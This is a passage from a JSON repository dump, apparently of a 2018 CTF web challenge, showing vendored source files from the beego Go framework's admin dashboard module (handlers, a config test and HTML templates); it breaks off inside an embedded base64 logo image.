[here](https://github.com/beego/beedoc/issues/232)\n\n## License\n\nbeego source code is licensed under the Apache Licence, Version 2.0\n(http://www.apache.org/licenses/LICENSE-2.0.html).\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/admin.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"text/template\"\n\t\"time\"\n\n\t\"reflect\"\n\n\t\"github.com/astaxie/beego/grace\"\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/toolbox\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\n// BeeAdminApp is the default adminApp used by admin module.\nvar beeAdminApp *adminApp\n\n// FilterMonitorFunc is default monitor filter when admin module is enable.\n// if this func returns, admin module records qbs for this request by condition of this function logic.\n// usage:\n// \tfunc MyFilterMonitor(method, requestPath string, t time.Duration, pattern string, statusCode int) bool {\n//\t \tif method == \"POST\" {\n//\t\t\treturn false\n//\t \t}\n//\t \tif t.Nanoseconds() < 100 {\n//\t\t\treturn false\n//\t \t}\n//\t \tif strings.HasPrefix(requestPath, \"/astaxie\") {\n//\t\t\treturn false\n//\t \t}\n//\t \treturn true\n// \t}\n// \tbeego.FilterMonitorFunc = MyFilterMonitor.\nvar FilterMonitorFunc func(string, string, time.Duration, string, int) bool\n\nfunc init() {\n\tbeeAdminApp = &adminApp{\n\t\trouters: make(map[string]http.HandlerFunc),\n\t}\n\tbeeAdminApp.Route(\"/\", adminIndex)\n\tbeeAdminApp.Route(\"/qps\", qpsIndex)\n\tbeeAdminApp.Route(\"/prof\", profIndex)\n\tbeeAdminApp.Route(\"/healthcheck\", healthcheck)\n\tbeeAdminApp.Route(\"/task\", taskStatus)\n\tbeeAdminApp.Route(\"/listconf\", listConf)\n\tFilterMonitorFunc = func(string, string, time.Duration, string, int) bool { return true }\n}\n\n// AdminIndex is the default http.Handler for admin module.\n// it matches url pattern \"/\".\nfunc adminIndex(rw http.ResponseWriter, r *http.Request) {\n\texecTpl(rw, map[interface{}]interface{}{}, indexTpl, defaultScriptsTpl)\n}\n\n// QpsIndex is the http.Handler for writing qbs statistics map result info in http.ResponseWriter.\n// it's registered with url pattern \"/qbs\" in admin module.\nfunc qpsIndex(rw http.ResponseWriter, r *http.Request) {\n\tdata := make(map[interface{}]interface{})\n\tdata[\"Content\"] = toolbox.StatisticsMap.GetMap()\n\texecTpl(rw, data, qpsTpl, defaultScriptsTpl)\n}\n\n// ListConf is the http.Handler of displaying all beego configuration values as key/value pair.\n// it's registered with url pattern \"/listconf\" in admin module.\nfunc listConf(rw http.ResponseWriter, r *http.Request) {\n\tr.ParseForm()\n\tcommand := r.Form.Get(\"command\")\n\tif command == \"\" {\n\t\trw.Write([]byte(\"command not support\"))\n\t\treturn\n\t}\n\n\tdata := make(map[interface{}]interface{})\n\tswitch command {\n\tcase \"conf\":\n\t\tm := make(map[string]interface{})\n\t\tlist(\"BConfig\", BConfig, m)\n\t\tm[\"AppConfigPath\"] = appConfigPath\n\t\tm[\"AppConfigProvider\"] = appConfigProvider\n\t\ttmpl := template.Must(template.New(\"dashboard\").Parse(dashboardTpl))\n\t\ttmpl = template.Must(tmpl.Parse(configTpl))\n\t\ttmpl = template.Must(tmpl.Parse(defaultScriptsTpl))\n\n\t\tdata[\"Content\"] = m\n\n\t\ttmpl.Execute(rw, data)\n\n\tcase \"router\":\n\t\tcontent := PrintTree()\n\t\tcontent[\"Fields\"] = []string{\n\t\t\t\"Router Pattern\",\n\t\t\t\"Methods\",\n\t\t\t\"Controller\",\n\t\t}\n\t\tdata[\"Content\"] = content\n\t\tdata[\"Title\"] = \"Routers\"\n\t\texecTpl(rw, data, routerAndFilterTpl, defaultScriptsTpl)\n\tcase \"filter\":\n\t\tvar (\n\t\t\tcontent = map[string]interface{}{\n\t\t\t\t\"Fields\": []string{\n\t\t\t\t\t\"Router Pattern\",\n\t\t\t\t\t\"Filter Function\",\n\t\t\t\t},\n\t\t\t}\n\t\t\tfilterTypes    = []string{}\n\t\t\tfilterTypeData = make(map[string]interface{})\n\t\t)\n\n\t\tif BeeApp.Handlers.enableFilter {\n\t\t\tvar filterType string\n\t\t\tfor k, fr := range map[int]string{\n\t\t\t\tBeforeStatic: \"Before Static\",\n\t\t\t\tBeforeRouter: \"Before Router\",\n\t\t\t\tBeforeExec:   \"Before Exec\",\n\t\t\t\tAfterExec:    \"After Exec\",\n\t\t\t\tFinishRouter: \"Finish Router\"} {\n\t\t\t\tif bf := BeeApp.Handlers.filters[k]; len(bf) > 0 {\n\t\t\t\t\tfilterType = fr\n\t\t\t\t\tfilterTypes = append(filterTypes, filterType)\n\t\t\t\t\tresultList := new([][]string)\n\t\t\t\t\tfor _, f := range bf {\n\t\t\t\t\t\tvar result = []string{\n\t\t\t\t\t\t\tf.pattern,\n\t\t\t\t\t\t\tutils.GetFuncName(f.filterFunc),\n\t\t\t\t\t\t}\n\t\t\t\t\t\t*resultList = append(*resultList, result)\n\t\t\t\t\t}\n\t\t\t\t\tfilterTypeData[filterType] = resultList\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tcontent[\"Data\"] = filterTypeData\n\t\tcontent[\"Methods\"] = filterTypes\n\n\t\tdata[\"Content\"] = content\n\t\tdata[\"Title\"] = \"Filters\"\n\t\texecTpl(rw, data, routerAndFilterTpl, defaultScriptsTpl)\n\tdefault:\n\t\trw.Write([]byte(\"command not support\"))\n\t}\n}\n\nfunc list(root string, p interface{}, m map[string]interface{}) {\n\tpt := reflect.TypeOf(p)\n\tpv := reflect.ValueOf(p)\n\tif pt.Kind() == reflect.Ptr {\n\t\tpt = pt.Elem()\n\t\tpv = pv.Elem()\n\t}\n\tfor i := 0; i < pv.NumField(); i++ {\n\t\tvar key string\n\t\tif root == \"\" {\n\t\t\tkey = pt.Field(i).Name\n\t\t} else {\n\t\t\tkey = root + \".\" + pt.Field(i).Name\n\t\t}\n\t\tif pv.Field(i).Kind() == reflect.Struct {\n\t\t\tlist(key, pv.Field(i).Interface(), m)\n\t\t} else {\n\t\t\tm[key] = pv.Field(i).Interface()\n\t\t}\n\t}\n}\n\n// PrintTree prints all registered routers.\nfunc PrintTree() map[string]interface{} {\n\tvar (\n\t\tcontent     = map[string]interface{}{}\n\t\tmethods     = []string{}\n\t\tmethodsData = make(map[string]interface{})\n\t)\n\tfor method, t := range BeeApp.Handlers.routers {\n\n\t\tresultList := new([][]string)\n\n\t\tprintTree(resultList, t)\n\n\t\tmethods = append(methods, method)\n\t\tmethodsData[method] = resultList\n\t}\n\n\tcontent[\"Data\"] = methodsData\n\tcontent[\"Methods\"] = methods\n\treturn content\n}\n\nfunc printTree(resultList *[][]string, t *Tree) {\n\tfor _, tr := range t.fixrouters {\n\t\tprintTree(resultList, tr)\n\t}\n\tif t.wildcard != nil {\n\t\tprintTree(resultList, t.wildcard)\n\t}\n\tfor _, l := range t.leaves {\n\t\tif v, ok := l.runObject.(*ControllerInfo); ok {\n\t\t\tif v.routerType == routerTypeBeego {\n\t\t\t\tvar result = []string{\n\t\t\t\t\tv.pattern,\n\t\t\t\t\tfmt.Sprintf(\"%s\", v.methods),\n\t\t\t\t\tv.controllerType.String(),\n\t\t\t\t}\n\t\t\t\t*resultList = append(*resultList, result)\n\t\t\t} else if v.routerType == routerTypeRESTFul {\n\t\t\t\tvar result = []string{\n\t\t\t\t\tv.pattern,\n\t\t\t\t\tfmt.Sprintf(\"%s\", v.methods),\n\t\t\t\t\t\"\",\n\t\t\t\t}\n\t\t\t\t*resultList = append(*resultList, result)\n\t\t\t} else if v.routerType == routerTypeHandler {\n\t\t\t\tvar result = []string{\n\t\t\t\t\tv.pattern,\n\t\t\t\t\t\"\",\n\t\t\t\t\t\"\",\n\t\t\t\t}\n\t\t\t\t*resultList = append(*resultList, result)\n\t\t\t}\n\t\t}\n\t}\n}\n\n// ProfIndex is a http.Handler for showing profile command.\n// it's in url pattern \"/prof\" in admin module.\nfunc profIndex(rw http.ResponseWriter, r *http.Request) {\n\tr.ParseForm()\n\tcommand := r.Form.Get(\"command\")\n\tif command == \"\" {\n\t\treturn\n\t}\n\n\tvar (\n\t\tformat = r.Form.Get(\"format\")\n\t\tdata   = make(map[interface{}]interface{})\n\t\tresult bytes.Buffer\n\t)\n\ttoolbox.ProcessInput(command, &result)\n\tdata[\"Content\"] = result.String()\n\n\tif format == \"json\" && command == \"gc summary\" {\n\t\tdataJSON, err := json.Marshal(data)\n\t\tif err != nil {\n\t\t\thttp.Error(rw, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\trw.Header().Set(\"Content-Type\", \"application/json\")\n\t\trw.Write(dataJSON)\n\t\treturn\n\t}\n\n\tdata[\"Title\"] = command\n\tdefaultTpl := defaultScriptsTpl\n\tif command == \"gc summary\" {\n\t\tdefaultTpl = gcAjaxTpl\n\t}\n\texecTpl(rw, data, profillingTpl, defaultTpl)\n}\n\n// Healthcheck is a http.Handler calling health checking and showing the result.\n// it's in \"/healthcheck\" pattern in admin module.\nfunc healthcheck(rw http.ResponseWriter, req *http.Request) {\n\tvar (\n\t\tresult     []string\n\t\tdata       = make(map[interface{}]interface{})\n\t\tresultList = new([][]string)\n\t\tcontent    = map[string]interface{}{\n\t\t\t\"Fields\": []string{\"Name\", \"Message\", \"Status\"},\n\t\t}\n\t)\n\n\tfor name, h := range toolbox.AdminCheckList {\n\t\tif err := h.Check(); err != nil {\n\t\t\tresult = []string{\n\t\t\t\t\"error\",\n\t\t\t\tname,\n\t\t\t\terr.Error(),\n\t\t\t}\n\t\t} else {\n\t\t\tresult = []string{\n\t\t\t\t\"success\",\n\t\t\t\tname,\n\t\t\t\t\"OK\",\n\t\t\t}\n\t\t}\n\t\t*resultList = append(*resultList, result)\n\t}\n\n\tcontent[\"Data\"] = resultList\n\tdata[\"Content\"] = content\n\tdata[\"Title\"] = \"Health Check\"\n\texecTpl(rw, data, healthCheckTpl, defaultScriptsTpl)\n}\n\n// TaskStatus is a http.Handler with running task status (task name, status and the last execution).\n// it's in \"/task\" pattern in admin module.\nfunc taskStatus(rw http.ResponseWriter, req *http.Request) {\n\tdata := make(map[interface{}]interface{})\n\n\t// Run Task\n\treq.ParseForm()\n\ttaskname := req.Form.Get(\"taskname\")\n\tif taskname != \"\" {\n\t\tif t, ok := toolbox.AdminTaskList[taskname]; ok {\n\t\t\tif err := t.Run(); err != nil {\n\t\t\t\tdata[\"Message\"] = []string{\"error\", fmt.Sprintf(\"%s\", err)}\n\t\t\t}\n\t\t\tdata[\"Message\"] = []string{\"success\", fmt.Sprintf(\"%s run success,Now the Status is <br>%s\", taskname, t.GetStatus())}\n\t\t} else {\n\t\t\tdata[\"Message\"] = []string{\"warning\", fmt.Sprintf(\"there's no task which named: %s\", taskname)}\n\t\t}\n\t}\n\n\t// List Tasks\n\tcontent := make(map[string]interface{})\n\tresultList := new([][]string)\n\tvar fields = []string{\n\t\t\"Task Name\",\n\t\t\"Task Spec\",\n\t\t\"Task Status\",\n\t\t\"Last Time\",\n\t\t\"\",\n\t}\n\tfor tname, tk := range toolbox.AdminTaskList {\n\t\tresult := []string{\n\t\t\ttname,\n\t\t\ttk.GetSpec(),\n\t\t\ttk.GetStatus(),\n\t\t\ttk.GetPrev().String(),\n\t\t}\n\t\t*resultList = append(*resultList, result)\n\t}\n\n\tcontent[\"Fields\"] = fields\n\tcontent[\"Data\"] = resultList\n\tdata[\"Content\"] = content\n\tdata[\"Title\"] = \"Tasks\"\n\texecTpl(rw, data, tasksTpl, defaultScriptsTpl)\n}\n\nfunc execTpl(rw http.ResponseWriter, data map[interface{}]interface{}, tpls ...string) {\n\ttmpl := template.Must(template.New(\"dashboard\").Parse(dashboardTpl))\n\tfor _, tpl := range tpls {\n\t\ttmpl = template.Must(tmpl.Parse(tpl))\n\t}\n\ttmpl.Execute(rw, data)\n}\n\n// adminApp is an http.HandlerFunc map used as beeAdminApp.\ntype adminApp struct {\n\trouters map[string]http.HandlerFunc\n}\n\n// Route adds http.HandlerFunc to adminApp with url pattern.\nfunc (admin *adminApp) Route(pattern string, f http.HandlerFunc) {\n\tadmin.routers[pattern] = f\n}\n\n// Run adminApp http server.\n// Its addr is defined in configuration file as adminhttpaddr and adminhttpport.\nfunc (admin *adminApp) Run() {\n\tif len(toolbox.AdminTaskList) > 0 {\n\t\ttoolbox.StartTask()\n\t}\n\taddr := BConfig.Listen.AdminAddr\n\n\tif BConfig.Listen.AdminPort != 0 {\n\t\taddr = fmt.Sprintf(\"%s:%d\", BConfig.Listen.AdminAddr, BConfig.Listen.AdminPort)\n\t}\n\tfor p, f := range admin.routers {\n\t\thttp.Handle(p, f)\n\t}\n\tlogs.Info(\"Admin server Running on %s\", addr)\n\n\tvar err error\n\tif BConfig.Listen.Graceful {\n\t\terr = grace.ListenAndServe(addr, nil)\n\t} else {\n\t\terr = http.ListenAndServe(addr, nil)\n\t}\n\tif err != nil {\n\t\tlogs.Critical(\"Admin ListenAndServe: \", err, fmt.Sprintf(\"%d\", os.Getpid()))\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/admin_test.go",
    "content": "package beego\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestList_01(t *testing.T) {\n\tm := make(map[string]interface{})\n\tlist(\"BConfig\", BConfig, m)\n\tt.Log(m)\n\tom := oldMap()\n\tfor k, v := range om {\n\t\tif fmt.Sprint(m[k]) != fmt.Sprint(v) {\n\t\t\tt.Log(k, \"old-key\", v, \"new-key\", m[k])\n\t\t\tt.FailNow()\n\t\t}\n\t}\n}\n\nfunc oldMap() map[string]interface{} {\n\tm := make(map[string]interface{})\n\tm[\"BConfig.AppName\"] = BConfig.AppName\n\tm[\"BConfig.RunMode\"] = BConfig.RunMode\n\tm[\"BConfig.RouterCaseSensitive\"] = BConfig.RouterCaseSensitive\n\tm[\"BConfig.ServerName\"] = BConfig.ServerName\n\tm[\"BConfig.RecoverPanic\"] = BConfig.RecoverPanic\n\tm[\"BConfig.CopyRequestBody\"] = BConfig.CopyRequestBody\n\tm[\"BConfig.EnableGzip\"] = BConfig.EnableGzip\n\tm[\"BConfig.MaxMemory\"] = BConfig.MaxMemory\n\tm[\"BConfig.EnableErrorsShow\"] = BConfig.EnableErrorsShow\n\tm[\"BConfig.Listen.Graceful\"] = BConfig.Listen.Graceful\n\tm[\"BConfig.Listen.ServerTimeOut\"] = BConfig.Listen.ServerTimeOut\n\tm[\"BConfig.Listen.ListenTCP4\"] = BConfig.Listen.ListenTCP4\n\tm[\"BConfig.Listen.EnableHTTP\"] = BConfig.Listen.EnableHTTP\n\tm[\"BConfig.Listen.HTTPAddr\"] = BConfig.Listen.HTTPAddr\n\tm[\"BConfig.Listen.HTTPPort\"] = BConfig.Listen.HTTPPort\n\tm[\"BConfig.Listen.EnableHTTPS\"] = BConfig.Listen.EnableHTTPS\n\tm[\"BConfig.Listen.HTTPSAddr\"] = BConfig.Listen.HTTPSAddr\n\tm[\"BConfig.Listen.HTTPSPort\"] = BConfig.Listen.HTTPSPort\n\tm[\"BConfig.Listen.HTTPSCertFile\"] = BConfig.Listen.HTTPSCertFile\n\tm[\"BConfig.Listen.HTTPSKeyFile\"] = BConfig.Listen.HTTPSKeyFile\n\tm[\"BConfig.Listen.EnableAdmin\"] = BConfig.Listen.EnableAdmin\n\tm[\"BConfig.Listen.AdminAddr\"] = BConfig.Listen.AdminAddr\n\tm[\"BConfig.Listen.AdminPort\"] = BConfig.Listen.AdminPort\n\tm[\"BConfig.Listen.EnableFcgi\"] = BConfig.Listen.EnableFcgi\n\tm[\"BConfig.Listen.EnableStdIo\"] = BConfig.Listen.EnableStdIo\n\tm[\"BConfig.WebConfig.AutoRender\"] = BConfig.WebConfig.AutoRender\n\tm[\"BConfig.WebConfig.EnableDocs\"] = BConfig.WebConfig.EnableDocs\n\tm[\"BConfig.WebConfig.FlashName\"] = BConfig.WebConfig.FlashName\n\tm[\"BConfig.WebConfig.FlashSeparator\"] = BConfig.WebConfig.FlashSeparator\n\tm[\"BConfig.WebConfig.DirectoryIndex\"] = BConfig.WebConfig.DirectoryIndex\n\tm[\"BConfig.WebConfig.StaticDir\"] = BConfig.WebConfig.StaticDir\n\tm[\"BConfig.WebConfig.StaticExtensionsToGzip\"] = BConfig.WebConfig.StaticExtensionsToGzip\n\tm[\"BConfig.WebConfig.TemplateLeft\"] = BConfig.WebConfig.TemplateLeft\n\tm[\"BConfig.WebConfig.TemplateRight\"] = BConfig.WebConfig.TemplateRight\n\tm[\"BConfig.WebConfig.ViewsPath\"] = BConfig.WebConfig.ViewsPath\n\tm[\"BConfig.WebConfig.EnableXSRF\"] = BConfig.WebConfig.EnableXSRF\n\tm[\"BConfig.WebConfig.XSRFExpire\"] = BConfig.WebConfig.XSRFExpire\n\tm[\"BConfig.WebConfig.Session.SessionOn\"] = BConfig.WebConfig.Session.SessionOn\n\tm[\"BConfig.WebConfig.Session.SessionProvider\"] = BConfig.WebConfig.Session.SessionProvider\n\tm[\"BConfig.WebConfig.Session.SessionName\"] = BConfig.WebConfig.Session.SessionName\n\tm[\"BConfig.WebConfig.Session.SessionGCMaxLifetime\"] = BConfig.WebConfig.Session.SessionGCMaxLifetime\n\tm[\"BConfig.WebConfig.Session.SessionProviderConfig\"] = BConfig.WebConfig.Session.SessionProviderConfig\n\tm[\"BConfig.WebConfig.Session.SessionCookieLifeTime\"] = BConfig.WebConfig.Session.SessionCookieLifeTime\n\tm[\"BConfig.WebConfig.Session.SessionAutoSetCookie\"] = BConfig.WebConfig.Session.SessionAutoSetCookie\n\tm[\"BConfig.WebConfig.Session.SessionDomain\"] = BConfig.WebConfig.Session.SessionDomain\n\tm[\"BConfig.WebConfig.Session.SessionDisableHTTPOnly\"] = BConfig.WebConfig.Session.SessionDisableHTTPOnly\n\tm[\"BConfig.Log.AccessLogs\"] = BConfig.Log.AccessLogs\n\tm[\"BConfig.Log.AccessLogsFormat\"] = BConfig.Log.AccessLogsFormat\n\tm[\"BConfig.Log.FileLineNum\"] = BConfig.Log.FileLineNum\n\tm[\"BConfig.Log.Outputs\"] = BConfig.Log.Outputs\n\treturn m\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/adminui.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nvar indexTpl = `\n{{define \"content\"}}\n<h1>Beego Admin Dashboard</h1>\n<p>\nFor detail usage please check our document:\n</p>\n<p>\n<a target=\"_blank\" href=\"http://beego.me/docs/module/toolbox.md\">Toolbox</a>\n</p>\n<p>\n<a target=\"_blank\" href=\"http://beego.me/docs/advantage/monitor.md\">Live Monitor</a>\n</p>\n{{.Content}}\n{{end}}`\n\nvar profillingTpl = `\n{{define \"content\"}}\n<h1>{{.Title}}</h1>\n<pre id=\"content\">\n<div>{{.Content}}</div>\n</pre>\n{{end}}`\n\nvar defaultScriptsTpl = ``\n\nvar gcAjaxTpl = `\n{{define \"scripts\"}}\n<script type=\"text/javascript\">\n\tvar app = app || {};\n(function() {\n\tapp.$el = $('#content');\n\tapp.getGc = function() {\n\t\tvar that = this;\n\t\t$.ajax(\"/prof?command=gc%20summary&format=json\").done(function(data) {\n\t\t\tthat.$el.append($('<p>' + data.Content + '</p>'));\n\t\t});\n\t};\n\t$(document).ready(function() {\n\t\tsetInterval(function() {\n\t\t\tapp.getGc();\n\t\t}, 3000);\n\t});\n})();\n</script>\n{{end}}\n`\n\nvar qpsTpl = `{{define \"content\"}}\n<h1>Requests statistics</h1>\n<table class=\"table table-striped table-hover \">\n\t<thead>\n\t<tr>\n\t{{range .Content.Fields}}\n\t\t<th>\n\t\t{{.}}\n\t\t</th>\n\t{{end}}\n\t</tr>\n\t</thead>\n\n\t<tbody>\n\t{{range $i, $elem := .Content.Data}}\n\n\t<tr>\n\t    <td>{{index $elem 0}}</td>\n\t    <td>{{index $elem 1}}</td>\n\t    <td>{{index $elem 2}}</td>\n\t    <td data-order=\"{{index $elem 3}}\">{{index $elem 4}}</td>\n\t    <td data-order=\"{{index $elem 5}}\">{{index $elem 6}}</td>\n\t    <td data-order=\"{{index $elem 7}}\">{{index $elem 8}}</td>\n\t    <td data-order=\"{{index $elem 9}}\">{{index $elem 10}}</td>\n\t</tr>\n\t{{end}}\n\t</tbody>\n\n</table>\n{{end}}`\n\nvar configTpl = `\n{{define \"content\"}}\n<h1>Configurations</h1>\n<pre>\n{{range $index, $elem := .Content}}\n{{$index}}={{$elem}}\n{{end}}\n</pre>\n{{end}}\n`\n\nvar routerAndFilterTpl = `{{define \"content\"}}\n\n\n<h1>{{.Title}}</h1>\n\n{{range .Content.Methods}}\n\n<div class=\"panel panel-default\">\n<div class=\"panel-heading lead success\"><strong>{{.}}</strong></div>\n<div class=\"panel-body\">\n<table class=\"table table-striped table-hover \">\n\t<thead>\n\t<tr>\n\t{{range $.Content.Fields}}\n\t\t<th>\n\t\t{{.}}\n\t\t</th>\n\t{{end}}\n\t</tr>\n\t</thead>\n\n\t<tbody>\n\t{{$slice := index $.Content.Data .}}\n\t{{range $i, $elem := $slice}}\n\n\t<tr>\n\t\t{{range $elem}}\n\t\t\t<td>\n\t\t\t{{.}}\n\t\t\t</td>\n\t\t{{end}}\n\t</tr>\n\n\t{{end}}\n\t</tbody>\n\n</table>\n</div>\n</div>\n{{end}}\n\n\n{{end}}`\n\nvar tasksTpl = `{{define \"content\"}}\n\n<h1>{{.Title}}</h1>\n\n{{if .Message }}\n{{ $messageType := index .Message 0}}\n<p class=\"message\n{{if eq \"error\" $messageType}}\nbg-danger\n{{else if eq \"success\" $messageType}}\nbg-success\n{{else}}\nbg-warning\n{{end}}\n\">\n{{index .Message 1}}\n</p>\n{{end}}\n\n\n<table class=\"table table-striped table-hover \">\n<thead>\n<tr>\n{{range .Content.Fields}}\n<th>\n{{.}}\n</th>\n{{end}}\n</tr>\n</thead>\n\n<tbody>\n{{range $i, $slice := .Content.Data}}\n<tr>\n\t{{range $slice}}\n\t<td>\n\t{{.}}\n\t</td>\n\t{{end}}\n\t<td>\n\t<a class=\"btn btn-primary btn-sm\" href=\"/task?taskname={{index $slice 0}}\">Run</a>\n\t</td>\n</tr>\n{{end}}\n</tbody>\n</table>\n\n{{end}}`\n\nvar healthCheckTpl = `\n{{define \"content\"}}\n\n<h1>{{.Title}}</h1>\n<table class=\"table table-striped table-hover \">\n<thead>\n<tr>\n{{range .Content.Fields}}\n\t<th>\n\t{{.}}\n\t</th>\n{{end}}\n</tr>\n</thead>\n<tbody>\n{{range $i, $slice := .Content.Data}}\n\t{{ $header := index $slice 0}}\n\t{{ if eq \"success\" $header}}\n\t<tr class=\"success\">\n\t{{else if eq \"error\" $header}}\n\t<tr class=\"danger\">\n\t{{else}}\n\t<tr>\n\t{{end}}\n\t\t{{range $j, $elem := $slice}}\n\t\t{{if ne $j 0}}\n\t\t<td>\n\t\t{{$elem}}\n\t\t</td>\n\t\t{{end}}\n\t\t{{end}}\n\t\t<td>\n\t\t{{$header}}\n\t\t</td>\n\t</tr>\n{{end}}\n\n</tbody>\n</table>\n{{end}}`\n\n// The base dashboardTpl\nvar dashboardTpl = `\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<!-- Meta, title, CSS, favicons, etc. -->\n<meta charset=\"utf-8\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n<title>\n\nWelcome to Beego Admin Dashboard\n\n</title>\n\n<link href=\"//maxcdn.bootstrapcdn.com/bootstrap/3.2.0/css/bootstrap.min.css\" rel=\"stylesheet\">\n<link href=\"//cdn.datatables.net/plug-ins/725b2a2115b/integration/bootstrap/3/dataTables.bootstrap.css\" rel=\"stylesheet\">\n\n<style type=\"text/css\">\nul.nav li.dropdown:hover > ul.dropdown-menu {\n\tdisplay: block;    \n}\n#logo {\n\twidth: 102px;\n\theight: 32px;\n\tmargin-top: 5px;\n}\n.message {\n\tpadding: 15px;\n}\n</style>\n\n</head>\n<body>\n\n<header class=\"navbar navbar-default navbar-static-top bs-docs-nav\" id=\"top\" role=\"banner\">\n<div class=\"container\">\n<div class=\"navbar-header\">\n<button class=\"navbar-toggle\" type=\"button\" data-toggle=\"collapse\" data-target=\".bs-navbar-collapse\">\n<span class=\"sr-only\">Toggle navigation</span>\n<span class=\"icon-bar\"></span>\n<span class=\"icon-bar\"></span>\n<span class=\"icon-bar\"></span>\n</button>\n\n<a href=\"/\">\n<img id=\"logo\" src=\"data:image/png;base64,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